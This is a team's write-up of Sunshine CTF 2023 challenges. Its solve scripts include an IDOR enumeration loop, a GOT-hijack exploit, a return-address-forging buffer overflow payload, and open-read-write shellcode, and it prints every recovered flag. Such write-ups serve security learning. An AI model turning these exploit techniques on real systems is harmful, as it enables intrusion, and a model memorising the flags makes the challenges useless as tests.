---
# System prepended metadata

title: Sunshine CTF 2023-WAN

---

# Sunshine CTF 2023-WAN

# WEB
### BeepBoop Blog
---
Slover: `堇姬naup`

You can observe a suspicious URL, which has patterns.
You can get something by using different numbers after the URL path `/post/`
`https://beepboop.web.2023.sunshinectf.games/post/1`

![](https://hackmd.io/_uploads/HJOJcfx-6.png)

I guess the flag may be hidden in one of the paths.

**Solve Script**
```python=
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

for i in range(99999):
    print(i)
    web = requests.get('https://beepboop.web.2023.sunshinectf.games/post/{}/'.format(i), verify=False)
    
    if 'sun{' in web.text:
        print(web.text)   
        break
```
It can make requests starting from 0 and check whether there is a flag in it.

![](https://hackmd.io/_uploads/H1gm2MebT.png)

Get FLAG!!

#### FLAG:```sun{wh00ps_4ll_IDOR}```

### Hotdog Stand
---
Solver: `Whale120`

The challenge is a simple login page, after some tries on sql injection, the official release an information about challenge fixing(while I was on flask-unsign......).  
After fixed, we can get ```/hotdog-database/```from```robots.txt```, and we can see username and password in it, LOL!  
#### FLAG:`sun{5l1c3d_p1cKl35_4nd_0N10N2}`
# CRYPTO
### BeepBoop Cryptography
---
Solver: `Whale120`
text:  
`beep beep beep beep boop beep boop beep beep boop boop beep beep boop boop beep beep boop boop beep boop beep beep beep beep boop boop beep beep beep beep boop beep boop boop boop boop beep boop boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop boop boop boop beep boop
`
turn it into 0/1, and decode with binary, would get something like this:  
`fha{rkgrezvangr-rkgrezvangr-rkgrezvangr}`
Caeser cipher decrypt:  
#### FLAG:`sun{exterminate-exterminate-exterminate}`
# MISC


# PWN


### 😎 Array of Sunshine ☀️
---
![](https://hackmd.io/_uploads/ByfNfNx-a.png)
![](https://hackmd.io/_uploads/BJSGz4g-a.png)
We can see an obvious bug `scanf("%s",&fruit[v1])`
and It didn't check if `v1` is out of index
Also protection is `Partial RELRO` and fruit is a global variable.
So we know it has a **GOT hijack**

There is a win function which will **$cat flag**
and when `print_sym !=MEMORY[0x404020]` at the same time `MEMORY[0x404020]` is `0x6` (know by gdb)

I gonna hijack `exit@got[plt]` to win function
Because of **NO-PIE** we know  `exit@got[plt]` at `0x405040`, `fruit` at `0x405080` (It means `exit@got[plt]` is at `fruit[-8]`)

#### slove script:
```py=
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *

init(64)
debug()

r = nc('nc chal.2023.sunshinectf.games 23003')

r.recvuntil(b'>>> ')

win = 0x40128f
r.sendline(b'-8')
print(r.recvline())
r.sendline(p64(win))
end()
```
#### Flag:
`sun{a_ray_of_sunshine_bouncing_around}`



### Flock of Seagulls 🕊️
---
![](https://hackmd.io/_uploads/ByMTCXe-p.png)
With IDA decompiling I found out a function call chain
`main->fun1->fun2->fun3->fun4->fun5`
also it has a ret adr check chain (didn't check fuc1->main)
`fun5->fun4->fun3->fun2->fun1-x>main`
and a backdoor function call `win`

![](https://hackmd.io/_uploads/SJYDJ4lbp.png)
It gave us `rsp` and also has a huge `BOF`
with `No PIE` we can just write back the `ret adr` to bypass the check
and write `func1's ret adr` to `win`

I also use gdb to help me write bypass payload more easily
![](https://hackmd.io/_uploads/HyC1-4xZT.png)

#### slove script:
```py=
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *

init(64)
debug()

r = nc('nc chal.2023.sunshinectf.games 23002')

r.recvuntil(b'At ')
a = r.recvline().strip()

rsp = int(a,16)
rbp = rsp+128

print(hex(rsp))
payload = b'a'*128+ p64(rbp+0x20) + p64(0x401276) +b'a'*0x10+ p64(rbp+0x40) + p64(0x4012a0)+b'a'*0x10 + p64(rbp+0x60) +p64(0x4012ca)+b'a'*0x10 +p64(rbp+0x70) +p64(0x4012f0) +b'b'*8+p64(0x4011bd)
r.sendafter(b'>>> ', payload)

end()


```
#### Flag:
`sun{here_then_there_then_everywhere}`
### Bug Spray 🐛🪲🐞
---
![Security check](https://hackmd.io/_uploads/rkd-x7gbp.png)

First thing first we use IDA Decompile it
[IDA_DECOMPILE](https://hackmd.io/_uploads/BJ27jfgbT.png)
imo that IDA didn't decompile correctly 
so i chose to oberserve the Assembly code

![IDA_DEASSEM](https://hackmd.io/_uploads/H1_FJ7xWa.png)
In this block we know we have ***RWX*** at `0x777777` and its size is `0x12c`
also we know after this block
`r10=r12=0x64` 
![](https://hackmd.io/_uploads/rJYMbmlZp.png)
Our target is goto `Lable:off` for the rwx segment

Todo 

At the top two blocks of this picture we know it hope the length we wrote is 0x44 or 0x45 (0x64 <= rax+20 < 0x66)

After that it do syscall, and we know 0x64 stands for `sys_time`, 0x65 stands for `sys_ptrace`, after testing we know only  `sys_ptrace` is possible to return 0

So, we'll send `0x45 bytes`
[syscalltable](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)

For serveral times testing, I finally found out that **CAN'T** get shell by calling `execve("/bin/sh")`
so i change to use orw and try to get flag

Finally I get the flag

btw the flag is at `./flag.txt` 

#### slove script:
```python=
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *



init(64)
debug()

r = nc('nc chal.2023.sunshinectf.games 23004')

r.recvuntil(b'>>> ')


shell = asm(
"""
mov rbx,0x7478
push rbx
mov rbx, 0x742e67616c662f2e
push rbx

push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
mov rax,0x2
syscall
mov rdx, 0x40
mov rsi,rsp
mov r8,rax
mov rdi,r8
xor rax,rax
syscall

mov rax,1
mov rdi,rax
syscall

""")

r.send(shell+b'a'*(0x45-len(shell)))
end()
```
#### Flag:
`sun{mosquitos_and_horseflies_and_triangle_bugs_oh_my}`


# Scripting

### DDR
---
![](https://hackmd.io/_uploads/BJaocml-a.png)
The first time we remote and press enter
**Suddenly I lose** (x

Now we know we have to do this with scripts
when i try pwntools I found out that it send `\xe2\x87\xa6\xe2\x87\xa8\xe2\x87\xa6`and things like that

just use python script to slove this

#### slove script:
```python=
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *

r = nc('nc chal.2023.sunshinectf.games 23200')

print(r.recvuntil(b'Start --'))
r.sendline(b'\n')
print(r.recvlines(2))


ind = 0
while 1:
    x = r.recvline().strip().split(b'\xe2')
    if b'\x87\xa6' not in x:
        print(1)
        break
    ans =''
    for i in x:
        if i == b'\x87\xa6':
            ans += 'a'
        elif i == b'\x87\xa7':
            ans += 'w'
        elif i == b'\x87\xa8':
            ans += 'd'
        elif i == b'\x87\xa9':
            ans += 's'
        else :
            ans += ''
    ind+=1
    print(ans.encode(), ind)
    r.sendline(ans.encode())
print(r.recvline())
# print(x)

end()
```
#### Flag:
`sun{d0_r0b0t5_kn0w_h0w_t0_d4nc3}`

### SimonProgrammer 1
---
A site that woud press some links and play some frequency , the mission is to follow it every time...  
**Solution:**  
After an observation on the js source, I noticed that the answers would store in an array called `global_frequencies`(but is the filename, also), and I just modify`current_frequencies_used_global` into `global_frequencies` and also with some string implementation, and finally post it to path `/flag` with it's built-in function!
**Solve Script:**
```js
current_frequencies_used_global=global_frequencies
for (let j = 0; j < current_frequencies_used_global.length; j++) {
        current_frequencies_used_global[j]=current_frequencies_used_global[j].replace("/static/", "");
        current_frequencies_used_global[j]=current_frequencies_used_global[j].replace(".wav", "");
    }
submitFrequencies(current_frequencies_used_global)
```
# Reversing

### Dill
---
Slover: `堇姬naup`

After downloading, you can see a .pyc file.
You can find websites online that can decompiler it.
https://www.toolnb.com/tools-lang-zh-TW/pyc.html
You will get this.
```python=
# uncompyle6 version 3.5.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.5 (default, Jun 20 2023, 11:36:40) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: dill.py
# Size of source mod 2**32: 914 bytes


class Dill:
    prefix = 'sun{'
    suffix = '}'
    o = [5, 1, 3, 4, 7, 2, 6, 0]

    def __init__(self) -> None:
        self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'

    def validate(self, value: str) -> bool:
        if not (value.startswith(Dill.prefix) and value.endswith(Dill.suffix)):
            return False
        value = value[len(Dill.prefix):-len(Dill.suffix)]
        if len(value) != 32:
            return False
        c = [value[i:i + 4] for i in range(0, len(value), 4)]
        value = ''.join([c[i] for i in Dill.o])
        if value != self.encrypted:
            return False
        else:
            return True
```
After entering a number, the head and tail will be removed, then cut into groups of four and then swap positions.

I tried to restore it, but it must have been written incorrectly.However, the string length is not long, so you can try it out by using loop.

![](https://hackmd.io/_uploads/ryjdDmgZ6.png)


**Solve Script**
```python
class Dill:
    prefix = 'sun{'
    suffix = '}'
    o = [5, 1, 3, 4, 7, 2, 6, 0]

    def __init__(self) -> None:
        self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'

    def validate(self, value: str) -> bool:
        if not (value.startswith(Dill.prefix) and value.endswith(Dill.suffix)):
            return False
        value = value[len(Dill.prefix):-len(Dill.suffix)]
        if len(value) != 32:
            return False
        

        c = [value[i:i + 4] for i in range(0, len(value), 4)]
        value = ''.join([c[i] for i in Dill.o])
        
        if value != self.encrypted:
            return False
        else:
            return True
        
dill_instance = Dill()  

for i in range (20):
    d=[5, 1, 3, 4, 7, 2, 6, 0]
    value= 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'
    if i!=0:
        value=b
    c = [value[i:i + 4] for i in range(0, len(value), 4)]
    ans=""
    for i in range(8):
        ans=ans+c[d[i]]
    b=ans
    ans="sun{"+ans+"}"
    
    result = dill_instance.validate(ans) 
    if result==True:
        print(ans)
```
#### FLAG:```sun{ZGlsbGxpa2V0aGVwaWNrbGVnZXRpdD8K}```


---
---
# After the End

# Forensics

### Low Effort Wav 🌊
--- 
>Author : `堇姬Naup`

After downloading, it looks like a ```.wav``` file, but it is actually a ```.png``` file.

![](https://hackmd.io/_uploads/SJNqbVMZp.png)

Convert it back to PNG first

![](https://hackmd.io/_uploads/B1OxMNfZ6.png)

When I open it. The file seems to be cropped .It might be a ```Cropalyps```

![](https://hackmd.io/_uploads/rkEwzEfWp.png)

We used exiftool to find out that the phone model he used was ```Google Pixel 7```
We can use [acropalypse.app](https://acropalypse.app/) to restore the cropped part

![](https://hackmd.io/_uploads/rJ3J7NGWp.png)

Select pixel 7 and restore it

![](https://hackmd.io/_uploads/Bk-xIEz-p.png)

![](https://hackmd.io/_uploads/rkjCHEf-6.png)

#### FLAG:```sun{well_that_was_low_effort}```

# Reversing

### First Date
---
>Author : `堇姬Naup`

Unzip the file he gave you to get a `pdx` containing `main.pdz` `pdxinfo`
![](https://hackmd.io/_uploads/BJK3QnM-p.png)

I studied the `.pdz` file and found some information.Playdate is a handheld video game console.
https://play.date/
**Playdate game formats**

* luac - Lua bytecode
* pdz - File container
* pda - Audio file
* pdi - Image file
* pdt - Imagetable file
* pdv - Video file
* pds - Strings file
* pft - Font file

Try to find a playdate related reverse tool and you will find one.
https://github.com/cranksters/playdate-reverse-engineering/tree/main
What is `.pdz`?
```
A file with the .pdz extension represents a file container that has been compiled by pdc. They mostly contain compiled Lua bytecode, but they can sometimes include other assets such as images or fonts. This format uses little endian byte order.
```
It has given a tool that can unpack all files from a `.pdz`
You can get a `main.luac`
```
python3 pdz.py <.pdz> <路徑>
```


# Scripting

### SimonProgrammer 2
---
>Author : `堇姬Naup`
>
Continue the idea of simon1.
Go grab the variable `global_frequencies`
You can get this.
```
['/static/8J-kljI4N_CfpJYK.wav', '/static/8J-kljM5N_CfpJYK.wav', '/static/8J-kljM3N_CfpJYK.wav', '/static/8J-kljEwMTbwn6SWCg==.wav', '/static/8J-kljE0ODDwn6SWCg==.wav', '/static/8J-kljIxNPCfpJYK.wav', '/static/8J-kljEyOTbwn6SWCg==.wav', '/static/8J-kljE4MjPwn6SWCg==.wav', '/static/8J-kljQyMPCfpJYK.wav', '/static/8J-kljE0Njnwn6SWCg==.wav', '/static/8J-kljExNjTwn6SWCg==.wav', '/static/8J-kljE5NDPwn6SWCg==.wav', '/static/8J-kljY1M_CfpJYK.wav', '/static/8J-kljEwMjTwn6SWCg==.wav', '/static/8J-kljM2MfCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljE1Njfwn6SWCg==.wav', '/static/8J-kljExMPCfpJYK.wav', '/static/8J-kljQwMvCfpJYK.wav', '/static/8J-kljI1OfCfpJYK.wav', '/static/8J-kljI5OPCfpJYK.wav', '/static/8J-kljIwMPCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljUyOfCfpJYK.wav', '/static/8J-kljEwODDwn6SWCg==.wav', '/static/8J-kljUyNPCfpJYK.wav', '/static/8J-kljE1MDPwn6SWCg==.wav', '/static/8J-kljE3MDTwn6SWCg==.wav', '/static/8J-kljM0NfCfpJYK.wav', '/static/8J-kljE4NvCfpJYK.wav', '/static/8J-kljY08J-klgo=.wav', '/static/8J-kljEwN_CfpJYK.wav', '/static/8J-kljk1N_CfpJYK.wav', '/static/8J-kljQ4NvCfpJYK.wav', '/static/8J-kljYy8J-klgo=.wav', '/static/8J-kljI1NPCfpJYK.wav', '/static/8J-kljc2MfCfpJYK.wav', '/static/8J-kljExOTTwn6SWCg==.wav', '/static/8J-kljQ4MvCfpJYK.wav', '/static/8J-kljE3ODHwn6SWCg==.wav']
```
After removing `/static/` and `.wav`, base64 the string and remove the irrelevant characters at the beginning and end.
```py
import base64
file=['8J-kljI4N_CfpJYK', '8J-kljM5N_CfpJYK', '8J-kljM3N_CfpJYK', '8J-kljEwMTbwn6SWCg==', '8J-kljE0ODDwn6SWCg==', '8J-kljIxNPCfpJYK', '8J-kljEyOTbwn6SWCg==', '8J-kljE4MjPwn6SWCg==', '8J-kljQyMPCfpJYK', '8J-kljE0Njnwn6SWCg==', '8J-kljExNjTwn6SWCg==', '8J-kljE5NDPwn6SWCg==', '8J-kljY1M_CfpJYK', '8J-kljEwMjTwn6SWCg==', '8J-kljM2MfCfpJYK', '8J-kljEyMjjwn6SWCg==', '8J-kljE1Njfwn6SWCg==', '8J-kljExMPCfpJYK', '8J-kljQwMvCfpJYK', '8J-kljI1OfCfpJYK', '8J-kljI5OPCfpJYK', '8J-kljIwMPCfpJYK', '8J-kljEyMjjwn6SWCg==', '8J-kljUyOfCfpJYK', '8J-kljEwODDwn6SWCg==', '8J-kljUyNPCfpJYK', '8J-kljE1MDPwn6SWCg==', '8J-kljE3MDTwn6SWCg==', '8J-kljM0NfCfpJYK', '8J-kljE4NvCfpJYK', '8J-kljY08J-klgo=', '8J-kljEwN_CfpJYK', '8J-kljk1N_CfpJYK', '8J-kljQ4NvCfpJYK', '8J-kljYy8J-klgo=', '8J-kljI1NPCfpJYK', '8J-kljc2MfCfpJYK', '8J-kljExOTTwn6SWCg==', '8J-kljQ4MvCfpJYK', '8J-kljE3ODHwn6SWCg==']
o=[]
for i in file:

    o.append(base64.urlsafe_b64decode(i).decode('utf-8')[1:-2])

print(o)
```

The o that comes out of print() is thrown into the following script.

```javascript
current_frequencies_used_global=['287', '397', '377', '1016', '1480', '214', '1296', '1823', '420', '1469', '1164', '1943', '653', '1024', '361', '1228', '1567', '110', '402', '259', '298', '200', '1228', '529', '1080', '524', '1503', '1704', '345', '186', '64', '107', '957', '486', '62', '254', '761', '1194', '482', '1781']
for (let j = 0; j < current_frequencies_used_global.length; j++) {
        current_frequencies_used_global[j]=current_frequencies_used_global[j].replace("/static/", "");
        current_frequencies_used_global[j]=current_frequencies_used_global[j].replace(".wav", "");
    }
submitFrequencies(current_frequencies_used_global)
```
Just throw it to the console of F12 and it will get flag.

![](https://hackmd.io/_uploads/BydIJ6GZp.png)

**FLAG :** `sun{simon_says_wait_that_was_a_mistake_what_do_you_mean_the_filenames_were_frequencies}`

### SimonProgrammer 3
---

# Misc

### Knowledge Repository
---

# Pwn

### House of Sus
---

### Robot Assembly Line
---